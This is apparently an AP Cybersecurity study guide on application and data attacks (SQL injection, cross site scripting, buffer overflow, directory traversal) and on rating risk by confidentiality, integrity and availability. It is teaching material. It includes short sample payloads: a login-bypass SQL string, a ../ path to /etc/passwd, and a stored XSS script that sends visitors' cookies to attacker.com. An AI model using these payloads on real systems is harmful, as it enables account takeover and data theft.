5.1 Application and Data Vulnerabilities and Attacks

TLDR

Adversaries usually want to read, change, or harm data, and they get there through unprotected files, sloppy account permissions, or applications that trust user input they shouldn't. This topic covers the main application and file attacks (SQL injection, cross site scripting, buffer overflow, directory traversal) and how to rate the risk of a vulnerability using confidentiality, integrity, and availability.

Why This Matters for the AP Cybersecurity Exam

This is the attack side of securing applications and data. To do well, you need to explain how an adversary exploits a specific weakness, name the attack correctly, and assess how serious the risk is.

The exam expects you to connect a vulnerability to its impact. That means linking weak encryption, weak access controls, or unvalidated input to a real consequence like data theft, data tampering, or a crashed system. Later topics in this unit cover the defenses (access controls, cryptography, protecting applications), so getting the attacks clear here sets you up for everything that follows.

Key Takeaways

• An adversary can read any unencrypted file if they reach the device or drive storing it, so encryption at rest is a basic defense.
• Giving regular users admin privileges is risky: if their account is compromised, the attacker inherits those elevated powers.
• Most application attacks trace back to one problem, an app trusting user input without validating it.
• SQL injection, cross site scripting, buffer overflow, and directory traversal are the named attacks you should recognize and explain.
• Every vulnerability threatens confidentiality, integrity, or availability, and you rate overall risk by combining data sensitivity with how likely the exploit is.

How Adversaries Exploit File and Application Vulnerabilities

Before the fancy attacks like SQL injection, understand the most basic ways data gets stolen: weak file protections and sloppy account permissions.

Unencrypted Files

If a file isn't encrypted and an adversary gets access to the device or drive storing it, they can just open it and read it. No hacking trick required. A stolen laptop with an unencrypted hard drive is essentially an open book. The same goes for a USB drive someone leaves on a desk, or files sitting on a server with no encryption applied.

This is why encryption at rest matters. Even if someone physically takes your drive, encrypted data looks like random gibberish without the key.

Standard Users vs Administrative Users

Most operating systems have two main account types:

• Standard users can run applications and edit their own files, but can't change system settings or touch other users' files.
• Administrative users (admins) can install software, change system configurations, and access pretty much any file or application on the system.

Here's the security problem: if a regular employee is given admin privileges on their work computer and an attacker compromises that account (through phishing, a weak password, or something similar), the attacker inherits all those admin powers. Limiting people to only the access they actually need cuts down the damage when accounts get compromised.

Weak Access Controls

Access controls are the rules that decide who can view, edit, or delete files. When these are weakly configured, way too many users end up with permission to change files they shouldn't be touching.

Picture a shared company drive where every employee has edit access to the folder containing payroll data. An adversary who compromises a single intern's account could steal, modify, or harm that data. Weak access controls turn every user account into a potential entry point.

How Application Attacks Work

Applications are programs that run instructions on computers. They're executable data. Some run locally (like a word processor on your laptop), and others run on a server and are accessed through a network. Those network-accessible ones are called web applications (think email services, social media sites, or your school's learning portal).

Most attacks on applications come from one core problem: the application trusts user input that it shouldn't trust.

Data Validation and Injection Attacks

When an application has an input field (a login box, a search bar, a comment section), users can type anything. Data validation is the process of checking that user input matches what the application expects before processing it. If the field asks for a quantity of items, the app should only accept numbers and reject anything else.

Applications that skip validation are wide open to injection attacks, where an attacker types unexpected characters or commands into an input field to change how the program behaves. SQL injection and XSS (both covered below) are injection-type attacks.

SQL Injection

Structured Query Language (SQL) is the language applications use to talk to databases. SQL commands can request information, add records, change records, or delete them. A normal login might run a query like:

</>SQL
SELECT * FROM users WHERE username = 'alex' AND password = 'hunter2';

In an SQL injection attack, the adversary types SQL commands and special characters into an input field instead of normal data. If the app doesn't sanitize input, those commands get executed by the database.

For example, in a login form, an attacker might type this as the username:

</>Code
' OR '1'='1

The query becomes something like SELECT * FROM users WHERE username = '' OR '1'='1'. Since '1'='1' is always true, the database returns every user. That's a confidentiality breach, the database is leaking data it shouldn't. Attackers can also use SQL injection to modify or delete records, which is an integrity breach.

Cross Site Scripting (XSS)

Websites are built with HTML (Hypertext Markup Language), and many use JavaScript to make pages interactive. JavaScript is powerful because it runs inside the visitor's browser. That power is also the problem: malicious JavaScript can read sensitive things the browser knows about, like saved usernames, passwords, session cookies, and cryptographic keys.

A cross site scripting (XSS) attack sneaks malicious JavaScript into a website so that other people's browsers run it. There are two main types:

• Type I (Reflected XSS): The malicious code is embedded in a link. When the victim clicks the link, the script runs in their browser. Often delivered through phishing emails.
• Type II (Stored XSS): The attacker posts malicious code somewhere it gets saved on the site, like a comment field, forum post, or visitor log. Now every visitor who loads that page runs the script. Stored XSS is usually worse because it hits everyone.

A simple stored XSS payload might look like this in a comment box:

</>HTML
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>

If the site doesn't sanitize the comment, every visitor's session cookie gets shipped off to the attacker.

Buffer Overflow Attacks

When an application takes user input, it stores that input in a buffer, which is a chunk of computer memory with a fixed size. If the user feeds in more data than the buffer can hold, the extra data overflows into nearby memory locations and overwrites whatever was there.

A buffer overflow attack does this on purpose. By carefully crafting the overflowing data, an attacker can:

• Crash the program (a hit to availability)
• Overwrite memory with their own instructions, tricking the computer into executing attacker code

That second outcome is the dangerous one. The attacker effectively runs code outside the program's normal security policy, which can mean accessing, modifying, or deleting files, or taking control of the whole system.

Directory Traversal Attacks

Web applications live in directories on servers. When your browser asks for a web page or image, it sends a GET request using HTTP (Hypertext Transfer Protocol). That GET request points to a specific file somewhere in the server's filesystem.

In a directory traversal attack, the adversary modifies the URL or GET request to navigate to files they shouldn't be able to reach. The trick uses .., which means "go up one directory" in most filesystems.

Here's the standard example. A web server stores images in /var/www/images/. A normal request might be:

</>Code
http://example.com/images/cat.jpg

An attacker changes the URL to reach something like:

</>Code
../../../etc/passwd

Each .. moves one directory up. Three of them walk all the way up to the root of the filesystem. From there, the attacker reaches into the passwd file, which would return a list of authorized usernames on the device. If the app doesn't validate the requested path, the server hands over that sensitive file.

Assessing and Documenting Data Risks

Once you understand how attacks work, you need a way to judge how serious each vulnerability actually is. Risk assessment comes back to three properties of data:

• Confidentiality is compromised when unauthorized people can access sensitive data.
• Integrity is compromised when data gets altered from what it should be.
• Availability is compromised when data is harmed or locked up (think ransomware encrypting your files).

Every vulnerability you assess should be analyzed for which of these three it threatens. Then you rank the overall risk level based on how sensitive the data is and how likely the exploit is to succeed.

High Risk

High risk usually means highly sensitive data (often data covered by laws or regulations) combined with a very likely exploit path.

Example: A company designing the next jet engine for the Air Force stores the technical specifications on an unencrypted drive. The data is extremely sensitive, and the exploit is trivial because anyone with access to that drive can read everything. That is about as high-risk as it gets.

Moderate Risk

Moderate risk usually means sensitive data that has some protection, just not enough. Maybe it's encrypted but with a weak key, or access controls exist but are too loose.

Example: A company stores customer PII (Personally Identifiable Information) in a spreadsheet. The spreadsheet is encrypted, but the key is small enough that an attacker with decent computing resources could crack it. The data is sensitive and there is a real path to exploit, but it takes effort.

Low Risk

Low risk usually means less sensitive information protected by weak measures, or sensitive information protected by measures that are slightly weaker than ideal.

Example: A company CEO stores private memos to executive staff on a shared company drive that is unencrypted and has no access controls. The memos aren't regulated data, but they aren't meant for everyone either. Because the data is less sensitive even though the protections are weak, the overall risk stays lower.

Putting Risk Assessment Together

When documenting a risk, you generally want to capture:

1. What data is at stake and how sensitive it is
2. What vulnerability exists (no encryption, weak key, weak access controls, unvalidated input, and so on)
3. Which property is threatened (confidentiality, integrity, or availability)
4. How likely the exploit is to actually happen
5. An overall rating (high, moderate, low)

That structure turns a vague "this seems bad" feeling into security documentation an organization can prioritize and fix.

How to Use This on the AP Cybersecurity Exam

Naming the Attack

Many questions describe a scenario and expect you to identify the attack. Match the clue to the attack:

• Commands or quotes typed into a login or search field that change a database query: SQL injection
• Malicious script saved in a comment or delivered through a link that runs in someone's browser: cross site scripting
• More input than a memory buffer can hold, leading to a crash or attacker code running: buffer overflow
• A URL stuffed with ../ sequences to reach files outside the web folder: directory traversal

Explaining Impact

When asked to explain how an attack causes loss or damage, tie it to a specific result. SQL injection can leak data (confidentiality) or change and delete records (integrity). Buffer overflow can crash a system (availability) or run unauthorized code. Don't just name the attack, state what the adversary gains.

Assessing Risk

For risk questions, combine two things: how sensitive the data is and how likely the exploit is. Highly sensitive data plus an easy exploit is high risk. Some protection that is too weak is usually moderate. Less sensitive data, even with weak protection, tends to be lower. Always identify which property (confidentiality, integrity, or availability) is at stake.

Common Trap

Watch for scenarios that test the difference between Reflected XSS (delivered through a link to a single victim) and Stored XSS (saved on the site so every visitor is affected). The delivery method is the deciding clue.

Common Misconceptions

• Encryption stops someone from accessing a file. Encryption doesn't stop access to the file itself; it makes the contents unreadable without the key. An adversary can still copy an encrypted file, they just can't read it.
• SQL injection and XSS are the same thing. Both are injection attacks, but SQL injection targets a database on the server, while XSS runs malicious script in other users' browsers. The target and the language are different.
• A buffer overflow only crashes a program. Crashing is one outcome, but the more serious case is overwriting memory so the attacker's own code runs, which can lead to full system compromise.
• Risk level depends only on how sensitive the data is. Risk combines data sensitivity with how likely the exploit is. Highly sensitive data behind strong protection can be lower risk than moderately sensitive data left wide open.
• Standard users and admin users are basically the same on a personal device. Admin accounts can change system settings and reach almost any file, so a compromised admin account hands an attacker far more power than a compromised standard account.

Related AP Cybersecurity Guides

• 5.3 Protecting Stored Data with Cryptography
• 5.2 Protecting Applications and Data: Managerial Controls and Access Controls
• 5.4 Asymmetric Cryptography
• 5.5 Protecting Applications
• 5.6 Detecting Attacks on Data and Applications